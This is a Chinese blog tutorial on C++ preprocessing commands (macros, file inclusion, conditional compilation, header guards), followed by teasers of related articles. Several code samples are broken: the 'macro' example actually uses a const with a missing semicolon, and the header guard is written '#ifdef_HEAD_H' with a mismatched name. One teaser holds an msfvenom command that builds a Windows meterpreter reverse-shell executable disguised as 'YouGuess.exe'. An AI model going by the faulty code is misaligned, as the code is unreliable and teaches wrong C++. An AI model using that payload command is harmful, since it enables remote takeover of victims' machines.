C++共享和保护——(5)编译预处理命令

归纳编程学习的感悟,
记录奋斗路上的点滴,
希望能帮到一样刻苦的你!
如有不足欢迎指正!
共同学习交流!
🌎欢迎各位→点赞 👍+ 收藏⭐ + 留言​📝
耕耘者的汗水是哺育种子成长的乳汁!

一起加油!


目录

一、前言:

二、C++常见的预处理命令: 

1.宏定义命令

💦例:简单宏定义应用:已知半径,编程求圆的周长、面积和球的体积。

🔑说明:

💦例:带参数的宏定义。

 2.文件包含命令

 3.条件编译命令

💦例:条件编译命令示例。

三、使用条件编译指令防止头文件被重复引用:

四、共勉:


一、前言:

        C++从C语言那里继承了编译预处理。编译预处理的作用是对程序文本进行扫描,对其进行初步转换,产生新的源代码并提交给编译器。所有预处理指令在程序中都是以“#”来引导的,一条预处理指令单独占用一行,结束的位置没有分号。预处理指令可以根据需要出现在程序中的任何位置。

二、C++常见的预处理命令: 

1.宏定义命令

        这种命令一般用在 C 语言中,在 C++中很少使用,宏定义命令分为简单宏定义命令和带参数宏定义命令。
        简单宏定义命令用来将一个标识符定义为一个字符串。在预处理时,将程序中出现的宏名用被定义的字符串替换,称为宏替换,替换后再进行编译。 

💦例:简单宏定义应用:已知半径,编程求圆的周长、面积和球的体积。

#include<iostream>
using namespace std;
const double PI=3.14159//定义的常量为double型 
int main(){double r,l,s,v;cout<<"Input radius:";cin>>r;l=2*PI*r;s=PI*r*r;v=4.0/3.0*PI*r*r*r;cout<<"周长 l="<<l<<endl<<"面积 s="<<s<<endl<<"体积 v="<<v<<endl;return 0; 
} 

🔑说明:

        程序中所有的 PI 都被宏定义的字符串替换掉。这种简单的替换一般在C语言中使用,用来定义符号常量。而在 C++中使用常类型 const 来定义常量,const 可以定义不同类型的常量。 

        带参数的宏定义命令是指在宏名后面跟着参数表,在替换时,仅替换宏定义中与参数表相同的标识符。带参数的宏定义中出现的参数被称为形参,在程序中用宏定义时出现的参数则被称为实参。         

💦例:带参数的宏定义。

#include<iostream>
using namespace std;
#define MUL(x,y) (x)*(y)
int main(){int x,y;cin>>x>>y;cout<<MUL(x,y)<<endl;return 0;
} 

 2.文件包含命令

        文件包含命令用来将另一个源文件嵌入到当前文件中的某个位置,以备将来需要时使用。C++

中常用的有#include <iostream>(提供有关输入/输出的功能)和#include <cmath> (提供许多数学计算的函数),文件包含命令一般放在程序的开头,有如下两种格式。
(1)#include <文件名>
        按标准方式搜索,文件位于系统目录的 include 子目录下
(2)#include "文件名"
        首先在当前目录中搜索,若没有,再按标准方式搜索#include 指令可以嵌套使用。假设有一个头文件 myhead.h,该头文件中可以有如下的文件包含命令:

#include"file1.h"
#include"file2.h"

 3.条件编译命令

        使用条件编译指令,可以限定程序中的某些内容只有在满足一定条件的情况下才参与编译
(1)格式1

#ifdef<标识符>
<程序段 1>
#else
<程序段 2>
#endif

当标识符被宏定义时,程序段 1参与编译,否则,程序段 2 参与编译

(2)格式2

#ifndef<标识符>
<程序段 1>
#else
<程序段 2>
#endif

当标识符未被宏定义时,程序段 1参与编译;否则,程序段 2参与编译 

(3)格式3
#if<常量表达式>
<程序段 1>
#else
<程序段 2>
#endif

当常量表达式的值非 0时,程序段 1 参与编译;否则,程序段2参与编译

💦例:条件编译命令示例。

#ifndef T#define T 1
#endif
#if T==1char s[]="good morning!";
#endif
#include<iostream>
using namespace std;
int main(){cout<<"hello!"<<s<<endl;return 0;
} 

三、使用条件编译指令防止头文件被重复引用:

        由于文件包含指令可以嵌套使用,所以在设计程序时要避免多次重复包含同一个头文件,否则会引起变量及类的重复定义。例如,某个工程包含如下四个源文件。

//main.cpp
#include"file1.h"
#include"file2.h"int main(){…… 
}//file1.h
#include"head.h"……//file.h
#include"head.h"……//head.h……
class Point{…… 
};……

        此时,由于#include 指令的嵌套使用,头文件 head.h 被包含了两次,于是编译时系统会指出错误:类 Point 被重复定义。那么,如何避免这种情况呢?这就要在可能被重复包含的头文件中使用条件编译指令。用一个唯一的标识符来标记某文件是否已参加过编译,如果已参加过编译,则说明该程序段是被重复包含的,编译时忽略重复部分。将文件 head.h 改写为:

//head.h
#ifdef_HEAD_H
#define HEAD_H 
……
class Point{…… 
}; ……#endif 

四、共勉:

        以上就是我对C++共享和保护——(5)编译预处理命令的理解,希望本篇文章对你有所帮助,也希望可以支持支持博主,后续博主也会定期更新学习记录,记录学习过程中的点点滴滴。如果有不懂和发现问题的小伙伴,请在评论区说出来哦,同时我还会继续更新对C++共享和保护的理解,请持续关注我哦!!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/287136.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构】栈的使用|模拟实现|应用|栈与虚拟机栈和栈帧的区别

目录 一、栈(Stack) 1.1 概念 1.2 栈的使用 1.3 栈的模拟实现 1.4 栈的应用场景 1. 改变元素的序列 2. 将递归转化为循环 3. 括号匹配 4. 逆波兰表达式求值 5. 出栈入栈次序匹配 6. 最小栈 1.5 概念区分 一、栈(Stack) 1.1 概念 栈&#xff1a;一种特殊的线性表&…

SpringBoot之分层解耦以及 IOCDI的详细解析

### 3.2 分层解耦 刚才我们学习过程序分层思想了&#xff0c;接下来呢&#xff0c;我们来学习下程序的解耦思想。 解耦&#xff1a;解除耦合。 #### 3.2.1 耦合问题 首先需要了解软件开发涉及到的两个概念&#xff1a;内聚和耦合。 - 内聚&#xff1a;软件中各个功能模块内…

3d抄数逆向建模服务造纸机械叶轮三维扫描曲面建模-CASAIM

在造纸机械中&#xff0c;叶轮是重要的组成部分&#xff0c;造纸机械叶轮在使用过程中会承受较大外力的摩擦&#xff0c;长期使用容易导致外观变形破损&#xff0c;从而降低叶轮的工作效率和精度。因此&#xff0c;定期生产制作同类型的造纸机械叶轮产品&#xff0c;以用于替换…

YOLOv5改进 | SPPF | 将RT-DETR模型AIFI模块和Conv模块结合替换SPPF(全网独家改进)

一、本文介绍 本文给大家带来是用最新的RT-DETR模型中的AIFI模块来替换YOLOv5中的SPPF。RT-DETR号称是打败YOLO的检测模型&#xff0c;其作为一种基于Transformer的检测方法&#xff0c;相较于传统的基于卷积的检测方法&#xff0c;提供了更为全面和深入的特征理解&#xff0c…

2023.12.17Linux基础命令

ls -l详细信息 -a所有 springcloud微服务 ctrlalt鼠标左键&#xff0c;从虚拟机中回到本机 执行这两条语句 拿到远程主机的ip地址之后就要试图连接 要实现连接&#xff0c;就要有远程连接的软件 ssh和http一样&#xff0c;也是一种协议 SSH 是 Secure Shell&am…

GD32F4中断向量查询

中断向量表 中断向量对应函数 __Vectors DCD __initial_sp ; Top of StackDCD Reset_Handler ; Reset HandlerDCD NMI_Handler ; NMI HandlerDCD HardFault_Handler ;…

客户关系管理系统 crm

系统开发环境以及版本 操作系统&#xff1a; Windows_7集成开发工具&#xff1a; Eclipse EE_4.7编译环境&#xff1a;JDK_1.8Web服务器&#xff1a;Tomcat_9.0数据库&#xff1a;MySQL_5.7.23 系统框架 spring框架springmvc框架mybatis框架Logback日志框安全验证框架maven框架…

std::mem_fn函数

第一次遇到这个函数&#xff0c;记录一下 std::mem_fn 是 C 标准库 <functional> 头文件中提供的函数模板&#xff0c;用于生成成员函数的函数对象。它允许将成员函数包装成可调用对象&#xff0c;用于传递给标准库算法、函数对象、以及一些支持可调用对象的函数。 templ…

车载软件易受攻击,如何规避嵌入式软件漏洞

在汽车开发中&#xff0c;汽车网络安全至关重要&#xff0c;特别是现在汽车软件变得日益互联。阅读本文&#xff0c;了解如何预防汽车网络安全漏洞。 为什么汽车网络安全很重要&#xff1f; 如今&#xff0c;互联汽车的解决方案远不只有简单的从A点到B点。通过实时数据共享、应…

kali-WinRaR高级配置

文章目录 操作环境一、下载WinRaR二、准备工作三、文件名处理四、开始监听 操作环境 kali windows 一、下载WinRaR http://www.winrar.com.cn/ 二、准备工作 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.64.129 LPORT4444 -f exe -o YouGuess.exe┌──(…

【论文阅读】FreeU: Free Lunch in Diffusion U-Net

paper&#xff1a;https://arxiv.org/abs/2309.11497 code&#xff1a;GitHub - ChenyangSi/FreeU: FreeU: Free Lunch in Diffusion U-Net 1.intro 贡献&#xff1a; •研究并揭示了U-Net架构在扩散模型中去噪的潜力&#xff0c;并确定其主要骨干主要有助于去噪&#xff0c…

C++第一讲之初入C++

注&#xff1a;本文是对于学完C语言再学C同学的讲解&#xff0c;主要补充C与C语言不同之处&#xff0c;如果你没学过C语言&#xff0c;不建议观看本文。 一.C简介 我们都知道C语言是过程性语言&#xff08;强调的是实现过程&#xff09;&#xff0c;即对计算机语言要处理的两…